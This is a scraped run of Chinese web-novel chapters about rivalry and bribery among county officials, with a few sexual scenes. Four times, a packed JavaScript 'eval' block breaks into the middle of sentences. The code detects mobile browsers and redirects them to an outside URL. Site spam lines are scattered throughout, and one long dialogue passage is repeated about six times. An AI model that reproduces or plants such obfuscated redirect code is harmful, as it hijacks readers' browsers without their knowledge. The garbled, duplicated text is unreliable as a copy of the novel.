李承微微点头:“去屋躺着吧,这边冷,我也去洗漱。” “那我在床上等你” 许梦轻轻亲吻了一下李承的唇,转身回到房间。 李承将窗户关闭,迈步走向洗手间。 在 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 李承看来,崔学文帮过他。 那场关于林青任免管委会党工委书记的不记名投票中,常委们中都在传,是崔学文投了那张票。 崔学文自己默认,陈红旗也因此针对他。 所以,不明真相的李承,也认定是崔学文投的那张票。 而今,李承要做出的决定,会背刺崔学文,他心中也在纠结,所以才问了许梦。 许梦是一个善良的好姑娘,她从小接受的教育,以及她父母传达的思想,都深受儒家思想的影响。 李承也一样。 他还做不到一位优秀政客的理性,总会被感性左右决定。 但在政治斗争中,儒家的‘仁’,并不适用。 李承问许梦,是想做个参考。 但当李承问出口的那一刻,他心中已经有了答案! 拿起电话。 他拨通了陈红旗的电话号码。 ‘嘟嘟..嘟.’ 电话响了半分钟左右,对方才接通。 “喂,李县长,这么晚打电话,是出什么事情了吗?陈红旗声音中带着不耐烦。 在他看来,李承跟他关系不好,这么晚给他电话,不可能是叙旧。 那就只有一种可能,李承分管的产业园区发生了什么突发事件,需要他这位县长做决策。 “没什么大事,想着来风林县这么久了,也没跟陈县长促膝长谈过,想跟你聊聊天。 李承在沙发坐下,将双腿搭在茶几上,找了一个最舒服的姿势靠着。 “啊? 李承这番话让陈红旗颇感意外,他不知道李承葫芦里卖的什么药:“李县长怎么有雅兴跟我聊天,晚上喝酒了? “喝了点,没喝多,陈县长晚上没喝吗?李承笑呵呵的反问。 “刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360519|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从市里回到家,累都累死了,我可没有李县长的雅兴。 陈红旗把自己说得很勤奋一样,好像他的忙碌,是在为县里发展奔波。 还顺势挖苦了李承一句,那话的意思,仿佛在说李承很清闲。 “没喝的话,我请陈县长吃点夜宵,怎么样?李承邀请道。 “不喝了,困了,改天吧,有什么话电话里聊聊就好。陈红旗慵懒地说。 他不想把时间浪费在李承身上,也不觉得,他跟李承之间有什么好谈的。 他能向李承让步,一方面,李承作为管委会主任,手里有权,能合理合规的卡旗胜建筑的资金审批。 另一方面,洪明德不建议他与李 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 承继续结怨,市里的领导也反对。 综合因素考虑下,他暂时妥协了。 这并不代表他需要去奉承。 李承给他带来的影响,触犯了他的权威性,他始终耿耿于怀。 “没什么,只是今天和常务去了洪老书记家里做客,聊到了你,既然陈县长困了,那你早点睡,我不打扰了。” 李承抛出了一个钩子,便准备挂断电话:“我挂了。” 他在欲擒故纵。 听到李承跟崔学文一起见了洪明德,陈红旗就算再有困意,也睡不着了。 “李县长。” 陈红旗喊住了李承,他立马换了一副态度,笑呵呵的说:“我确实有点饿了,这样,我叫楼下串店送点烧烤上来,咱哥俩喝点。” “家里方便吗?别影响嫂子休息,改天吧。”李承婉拒。 “你嫂子不在家,就我一个人,方便的很,晚上在这住都行。”陈红旗说。 他跟他老婆的婚姻,早已经名存实亡。 陈红旗不是一个省油的灯,尤其是官越做越大,讨好他的人越来越多,送钱,送女人的比比皆是。 在那些年轻漂亮女人的诱惑下,他对家里的糟糠之妻早已心生厌恶。 而他的妻子也受不了他的态度,两个人早些年就分居了。 只是因为官职因素,两个人不能离婚。 日子早就各过各的。 第374章 土豪版 “好啊那你把位置发给我我现在过去。” 李承同意了陈红旗的邀请。 “行我去开瓶好酒你快点过来我等你。”陈红旗笑呵呵说完这才挂断了电话。 放下手机李承起身来到房间。 许梦穿着一条酒红色的真丝睡裙躺在床上刷着手机。 那双修长笔直的腿搭在被子上。 “老公你刚刚又在给谁打电话?”许梦语气温柔声音里带着妩媚。 她的一只腿微微抬起丝滑的睡裙顺着美腿下滑。 隐约间李承可以看到裙摆下的风光。 空空如也 一眼之下李承身体里的火焰就蹿了起来。 却也只能暗道一声:可惜。 许梦已经做好了好戏开场前的准备可他却. “刚刚跟陈县长通了一个电话有些事情我要去跟他见面谈你早点休息就别等我了。” 李承歉意的看向许梦他也很无奈。 “这么晚了什么公务也该结束了呀。”许梦咬着嘴唇情绪失落:“以前在省政府工作也没见有这么多事。” “唉省政府的公务在办公室县政府的公务在酒桌上风土人情算是入乡随俗吧。”李承说。 这句话既是解释也是事实。 韩帅曾为自己工作时间喝酒辩解过说酒桌文化是他们县办事效率最高的方式。 让李承理解他也要入乡随俗。 他说得没错。 自从到了风林县李承发现往往一些决策不是在会议室中决定的。 而是提前在酒桌上就已经有了定论。 他今晚要跑一趟陈红旗的家也是想尽早让管委会有定论。 “马上十一点了县长也该睡觉了有什么事情明天再谈嘛.”许梦从床上坐了起来她抱住李承的胳膊楚楚可怜。 “明天不是要去南陵吗?哪有时间呀。” 李承将手伸进许梦的睡裙中忍不住的捏了一下。 “那就等周天晚上呗。”许梦劝道。 她虽对官场了解浅薄但跟在李承这么久也清楚李承今晚谈的不是工作开展。 而是一种官场上的斗争。 “陈县长已经在等我了很快的你先睡。”李承在她的额头上吻了一下说。 为什么李承要挑选在今晚? 为什么如此急不可耐? 其中 你的朋友正在书荒,快去帮帮他吧 他已经下定了决心,所以,要尽快落实。 目的是为了排除被崔学文捷足先登的可能。 崔学文在他这里并没有得到好处,李承担心,崔学文会为了稳妥起见,主动找上陈红旗‘再续前缘’。 只要崔学文胡编两句,有了先发制人的优势,如此一来,李承就成了众矢之的。 崔学文嘴上喊着同盟,可万一呢? 而且,眼下的形势,与崔学文同盟,对李承的好处过于局限,远不如跟陈红旗达成共识。 “那好吧你早点回来,我等你。” 按照陈红旗给的地址,李承来到了他家。 陈红旗家里是全屋红木装修,给人一种土气的感觉。 红木装修,这种风格本身是气派的,带着国风的古典富贵感。 但需要恰到好处的点到为止。 而陈红旗的家,就有些过于追求‘奢’字,搞得土里土气,明显的暴发户装修。 “李县长,好酒好菜都备齐了,就差你这位贵宾了,哈哈哈”陈红旗将李承引进厨房,脸上挂着灿烂的笑。 “陈县长,你家里真气派,想来装修花了不少钱吧?”李承打量着室内的环境,说。 “我哪能装得起这种房子,这是我弟弟给老妈买的房子,老妈去世后,我就住在这里。 你应该也听说了,我跟我家那口子感情不合,她总嫌我忙于工作,回家太晚,打扰她休息,就给我撵了出来。 唉.我也不怕你笑话,县里很多人都知道。” 陈红旗叹了一口气,继续给自己立人设。 看着他那虚伪的嘴脸,李承心中腹诽一句:‘你什么德行大家都知道,还装什么?’ 不过,对于这套房的归属,李承是相信的。 这套房子肯定不会在陈红旗的个人名下,他不会傻到那种程度。 “是呀,刚才我来见你,我家那位都不乐意了,总嫌我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360520|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没时间陪她。” 李承拉开椅子,坐在了陈红旗的对面。 “你这还没结婚呢,等你结婚就知道了,婚姻不是你想的那么美好。” 陈红旗给李承倒了一杯白酒,说:“作为过来人,我还是要劝你一句,有时间尽量多陪陪家人。 不能因为工作,忽略了最亲近的人,不然到我这个岁数,会后悔的。” “嗯,知道。” 李承接过酒杯,将上面即将溢出来的部分抿入口中。 “那咱哥俩今天也不多喝,就这一杯,别耽误你回家陪媳妇儿。 你的朋友正在书荒,快去帮帮他吧 ”陈红旗道。 他只想跟李承谈正事,酒,只是一个引子。 “好。” 他也不想跟李承喝,李承也不愿意跟他喝,在这一点上,两个人达成了默契。 “尝尝他家的羊腰子,味道绝对正,说不定晚上你还能用得到呢,哈哈哈。” 陈红旗将一串大腰子递给李承,玩笑道。 “你来吧,我享受不了。” 李承看着羊腰子外层那厚厚的肥油,摆手婉拒。 这已经是李承的第三顿饭,他很撑,看着那肥油,甚至有些恶心。 “这就是你不懂享受了,一口腰子一口蒜,给个神仙都不换。” 陈红旗咬了一大口下去,紧接着又将一瓣蒜扔进嘴里,吃的那叫一个香。 “李县长,你今天去老书记家里,都聊了些什么?”陈红旗边吃边问。 李承看着油渍沾满他的嘴,有些反胃。 挪开目光,李承说:“聊了些关于产业园区的发展走向,侧面也提到了你。” “都说我什么了?”陈红旗追问。 这是他最关注的问题。 “其实,洪老书记倒是没说什么,他在帮你说话,只是.” 李承没有继续说,他拿起一串烤翅,用筷子撸了下来。 “只是什么?” 陈红旗抬起头,目光注视着李承。 但李承并没有第一时间给出回答,他要让陈红旗自己说。 “是不是崔学文说我坏话了?” 第375章 文与武 “常务就恒达精密电镀厂的问题上,提出了些不同的意见。 对这家公司,老书记和洪主任的态度,是赞同他的。” 李承不紧不慢地说。 这件事,饭桌上提了一嘴,一概而过。 但恒达精密电镀涉及到了产业园区的发展,李承才将它着重挑了出来。 并且,李承不仅说到了洪明德,还延伸出洪光耀。 洪明德退休了,他的态度对陈红旗来说,不是那种重要。 陈红旗忌惮洪明德,一来,是洪明德在县领导干部中有一定影响力,他需要打着洪老书记的旗号。 二来,他最忌惮的,是洪明德的三位子女。 两个儿子,一个女儿,每一位都很有出息。 “洪光耀今晚也回来了?”陈红旗眉头一皱,问。 “嗯,回来了。”李承点头。 “他什么态度?”陈红旗迫切地追问。 市人大副主任,虽属于‘二线领导’,不直接管事。 但他的权力和人脉,不容小觑。 他能参与市政府部分部门,以及法,检,监的副厅,正处,副处级干部的人事任免。 光是这一权力,就能给他积累下丰富的人脉。 “他认为,恒达入驻风林产业园区,是你的决策失误,觉得你为了风林县发展,有些过于急切了,不够慎重。 毕竟,电镀企业,尤其是恒达这种落后的电镀企业,对整体招商有很大的影响。” 李承淡淡的说。 陈红旗的急切,恰恰正中李承下怀。 李承说的这些,只是借着洪光耀的幌子,把自己想说的传达出去。 洪光耀没有说过。 可他说没说,陈红旗也不可能亲自去问。 “我那也是为了产业园区能开个好兆头,园区成立半年,也没有企业入驻,总要有家企业撑面子。” 陈红旗为自己找了个借口。 “嗯,理解。” 李承微微一笑,说:“但陈县长是好心,可放在有心人的眼里,就不是好意了。” 他停顿了两秒,给陈红旗一个思考的时间后,继续说:“从老书记家离开后,常务单独叫我谈了谈你的问题。” “都说了些什么?” 陈红旗对手里的大腰子也索然无味了,他没心情再享用美食。 拿出香烟,他递了一支给李承,又给自己点了一根。 “算了,不说了,会影响组织稳定,你也未必信我 的话。” 李承摇了摇头,从口袋里拿出火机点燃。 “他想替代我?” 陈红旗凝视着李承,说出他心中的猜想。 这不只是他的猜想,也是他认定的事实。 当初,县长这个位置本该属于崔学文。 是他用了些不光彩的手段,才抢到了这个位置,他知道,崔学文对他耿耿于怀。 他也一直将崔学文当做是敌人来看待。 “嗯。” 李承吸了一口烟,入口柔和。 他低头看了一眼烟支,细支的和天下。 “常务跟纪委方面的关系应该比你更近,查韩帅和旗胜的资金来往时,顺便也查了一下你,查到了点线索。 他想通过我,联系一下市纪委。” 陈红旗已经把话说的那么明白了,李承也不拐弯抹角。 “哼!” 闻言,陈红旗冷哼一声。 他跟陈红胜,以及旗胜的金钱往来,他比任何人都清楚。 以县纪委的权限,能查到什么,查不到什么,他心里有数。 对此,他并不担心崔学文手里有什么直接证据。 如果有,崔学文也不可能让他这么安稳的坐在这里吃串喝酒。 但是,他忌惮市纪委。 县纪委没有调查他的权力,市纪委就不一样了。 虽说,他在市里有些人脉,可一旦李承干涉进来,他不敢想后果。 陈红旗自认为,他布局好了一切,涉及利益的,也做足了法律层面的切割。 可毕竟,李承有省部级领导的背景。 “李县长,你跑过来跟我讲这些,说说你的想法?” 陈红旗相信李承说的,他对崔学文本就有偏见。 尤其是这次不记名投票,他更加认为,崔学文在蠢蠢欲动。 但他也清楚。 李承不是什么善类,不可能好心好意的来提醒他,这背后一定有目的。 “陈县长,从我来风林县之后,咱哥俩虽然有很多分歧,但也没有太大的矛盾。 至少,你和我,都在为县里的发展做贡献,你说对吧?” 李承奉承了他一句,这是在给陈红旗戴高帽。 戴上这个高帽,他就不好摘了。 但这个高帽,他又不能不戴,不戴就是与县里发展背道而驰,就是他的个人主义。 “对。”陈红旗认可李承的说法。 “用教员的话说,我们根本利益一致,属 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360521|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 于内部矛盾,要以沟通的方式解决问题。 而我们的矛盾,无非就两点,第一点,是针对旗胜偷工减料,是该就地整改,还是为了工期赶进度。 在这一点上,我选择遵循民主的方式,也认可了陈县长的决策。 而第二点,就是在恒达电镀厂上。” 李承弹了弹烟灰,笑眯眯看着陈红旗:“解决这两点,就是内部矛盾的妥善解决,不至于上升到敌我矛盾。” 李承是笑,笑容中却带着刀子。 什么是敌我矛盾? 敌我矛盾就是对抗性的,是根本利益的对立,是斗争。 这是威胁呀! “恒达精密已经签约,毁约的话,对风林县的声誉,以及政府的财政,都有很大影响。” 陈红旗眉头紧锁,他听懂了李承的意思,却也犯了难。 恒达精密,是他一手安插进来的。 是他的脸面,也有一定的暗中交易,毁约对他个人有很大的影响。 他不想! “恒达的合同我看过,他的厂子我也考察过,这里面大有文章呀。”李承淡淡的说。 企业跟产业园区签署各项合同和协议,覆盖面广,也足够细致。 恒达存在的问题,是不能写在合同里的,那只是恒达和陈红旗达成的私下协议。 是陈红旗对他们的放纵。 但如果想挑刺,从合同里,完完全全可以找出毛病。 李承之前不打算从合同下手,是没到那个份上。 ‘文’的方式能解决,就没必要动‘武’。 第376章 时代 “陈县长,它已经影响到了招商,动它,是早晚的事情。 见陈红旗迟迟不开口,李承又添了一把火。 这句话,就更加露骨了。 他在明着告诉陈红旗,你陈红旗不动恒达,迟早他也会动。 等李承动的那一天,双方就彻底成为了敌对关系。 “而且,有人想从它身上做文章。李承掐灭香烟,继续说。 李承不想惹那个麻烦。 同时,他也在给陈红旗一个解决自己麻烦的机会。 崔学文没说过,会以恒达做文章去针对陈红旗,但李承可以替他说。 有些事情,不在于某些人说没说过,而在于另一方想没想过. “恒达的问题,我来解决。 陈红旗最终下定了决心。 比起眼前的李承,崔学文已经成为了他心中更大的敌人。 李承要的不多,目前也没资历争夺他的位置。 可崔学文不同! 崔学文已有亡他之心,比起将李承推向崔学文那一方,与李承达成共识,是陈红旗认为的最佳选择。 “李县长,工作是要互相支持的,你懂我的意思吧?陈红旗举起酒杯,认真的看着李承。 他担心李承搞两面派,得到他的支持,又背刺他。 “呵呵呵陈县长,我们没冲突呀。 李承跟他碰一下杯,喝了一大口白酒进肚。 这句话,已然将李承表明。 官场上,各个都是人精,没必要再说透了。 陈红旗看着李承放下酒杯,他却没有喝酒。 杯悬在半空中,他还是放心不下,想得到一个肯定的答复:“还是说明白些好,大家都安心。 “我只在意管委会这一亩三分地,这上面我们不冲突,又哪来的冲突? 李承将话已经说得够明白了。 他不屑于参与县政府的斗争中,谁当县长,对李承来说无所谓。 他只要管委会的绝对实权,也只想把产业园区发展好。 李承要的很简单,他不希望权力的斗争,搅合了产业园区这盘好棋。 “只要陈县长支持我的工作,我一定支持陈县长的其他决策。李承郑重的说。 他特意强调了‘其他决策’四个字。 这个‘其他’,就是指,不包括产业园区的任何决策! “嗯。 陈红旗闻言,这才满意的将杯中酒喝下。 李承回到家中 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 洗漱过后已经是凌晨一点。 他躺在床上疲惫了一天终于得到休息。 刚准备入睡许梦侧过身伸手抱住了他。 李承知道她没有睡一直在等自己。 无论多晚家里始终有一个人在等着自己睡觉这种感觉是幸福的。 李承伸出胳膊让许梦的头枕在自己的手臂上将她紧紧抱在怀里感受她的体温。 许梦微微扬起下巴去亲吻李承。 李承迎合着她的吻 可身体似乎已经到达了某种极限李承还沉浸在亲吻中便不知不觉的睡了过去。 再次醒来天已经亮了。 还没睁开眼睛他只感觉身体传来一阵奇幻的感觉。 恍惚中他猛地睁开眼睛。 看到许梦正坐在他的身上那张娇美的脸上遍布绯红正在卖力享受。 “老公你醒了嗯.” 见李承睁眼许梦俯下身趴在李承的耳边轻柔的声音里带着愉悦的情不自禁。 李承双手托住许梦的臀部再次闭上眼睛。 这种被‘爱’吵醒的感觉别有一番滋味很爽 一番激战后两人踏上前往南陵市的旅程。 风林县莲花镇莲花湖旁。 陈红旗与恒达精密电镀的老板马军元正坐在湖边钓鱼。 “老马你对恒达的未来有什么想法?”陈红旗看着平静的湖水悠悠问道。 “目前恒达的规模还小我的目标是先做到上亿市值。”马军元回答道。 他知道陈红旗在问公司未来规划走向。 他的回答是告诉陈红旗他就认准电镀这一条生意。 “有没有考虑过企业转型?”陈红旗明确了提问。 “我是一个大老粗做了半辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364226|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电镀不准备转型了隔行如隔山我这个年纪不想再折腾了。” 马军元叹了一口气感慨道:“跟不上时代了.” 这只是他的借口。 他这种电镀行业管控本来就严苛。 尤其是他这种走低端电镀的企业在严管之下基本没有什么生存空间也无法达标。 但是高管控就意味着高利润。 风险越大利益越是丰厚。 马军元这个小工厂规模是原林装饰的十分之一但若是运转起来利润却能跟原林装饰持平甚至是超越。 这就是为何马军元这些年做电 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 镀,光是罚款就交了几百万,却还要死磕电镀的原因。 “老马,你得紧跟时代呀,你不跟住时代,时代就会给你淘汰。” 陈红旗将鱼竿架住,从口袋里摸出香烟。 “跟时代不如跟领导,跟住领导的步伐,时代就不会淘汰我嘛,哈哈哈。” 马军元奉承了一句,继续说:“对了领导,前几天我兄弟去缅国带了一个玉牌回来。 说是什么帝王绿,高冰的,我感觉跟您的气质很符合。” 那块帝王绿,高冰的玉牌,从缅国带回来,花了八十万。 他想用这块玉牌,保他的电镀企业高枕无忧。 只要企业能开工,八十万,一个礼拜的利润而已。 “是吗?有机会拿给我看看。” 听到有礼收,陈红旗的眼睛放光,他就是那种贪得无厌的人。 “好,这两天我就去取。” 马军元拖延了两天,是想等陈红旗一个明确答复。 陈红旗让他满意,玉牌他会送。 如果不满意,他就会找一个借口,把此事敷衍过去。 商人嘛,无利不起早,一切都要拿条件换。 “你呀,又打断我的话题。” 陈红旗吸了一口烟,摆出一副无可奈何的样子,他的手指隔空点了点马军元: “老马,我也不跟你啰嗦,风林县产业园区你不能继续做电镀了,必须搬走。” 第377章 贪婪的陈红旗 有能力贪,也要有能力花。 在这方面,陈红旗不傻。 稳固自己的政治生涯才是关键,不然贪的那些钱,迟早会被当成赃款收缴。 崔学文对他虎视眈眈,李承的态度也异常坚决。 恒达不搬走,就会成为他的累赘。 让他这位‘一言堂’县长,沦为众矢之的。 别说是一块玉牌,就是一座玉山,陈红旗也不想冒这个险! “陈县长,您这是跟我开玩笑呢吗? 马军元脸上依旧挂着淡淡笑容,可这个笑,并不好看:“这个玩笑可不好笑呀,当初您是答应我的,两年之内安然无恙。 他在暗示陈红旗收钱不办事,提起当初暗中交易。 “计划没有变化快,李承不是林青那个小丫头,他背景硬。 陈红旗无奈的说。 如果李承不空降风林县,他可以保恒达两年内高枕无忧。 可在招商之前,他也没想到李承会来。 情况会落到如此被动的地步。 如果他当初就能预料到,也不会答应马军元。 “陈县长,那你准备就放手不管了吗?马军元的眼神中渐渐浮现冷意。 如果陈红旗无情的抛弃他,他也会翻脸无情。 陈红旗收了他的钱,他不可能让陈红旗安宁。 “老马,你看你这个样子! 陈红旗眉头一皱,语气变得不耐烦,他听出马军元有威胁的意思。 “你呀,就是小人。 陈红旗没好气的骂了一句,他倒不怕在语言上得罪马军元。 只要能给对方利益,就是给对方几个嘴巴子,对方也会乐呵呵的说舒服。 “陈县长,我的半生心血都投在里面了,我能不急嘛。马军元也意识到自己态度不对,连忙找补。 “咱兄弟的关系,我能不管你吗?你的后路我已经给你找好了,搬家对你只有好处,没有坏处。 收人钱财,替人消灾,这是潜规则。 拿钱不办事,就是抢劫,是自寻死路。 这个‘规则’陈红旗会遵守。 不然,对方抱着鱼死网破的心去检举他,那就是死路一条了。 “产业园区政策这么好,你先占着名额,等园区建设起来,我给你联系下家。 倒个手,你就能赚到一笔不菲的差价。陈红旗说。 让政府出资赔偿,跟他解约。 陈红旗不会做。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 如果解约,就等于证实了他招商的失职。 但只要把这个名额倒卖出去,后期变更一下手续,就可以妥协解决这件事。 别看现在产业园区空空荡荡,但只要企业入驻符合预期,产业园区的名额就会成为抢手的香饽饽。 供不应求,就会出现溢价,有利润空间。 像这种空壳公司套名额的情况,很多地区都存在,不稀奇。 “陈县长,你知道的,我不在意那些差价。” 一个差价,远远达不到马军元的预期。 “别急嘛,我在联义乡给你选好了一块风水宝地,地方虽然偏了些,刚好适合你的企业发展。 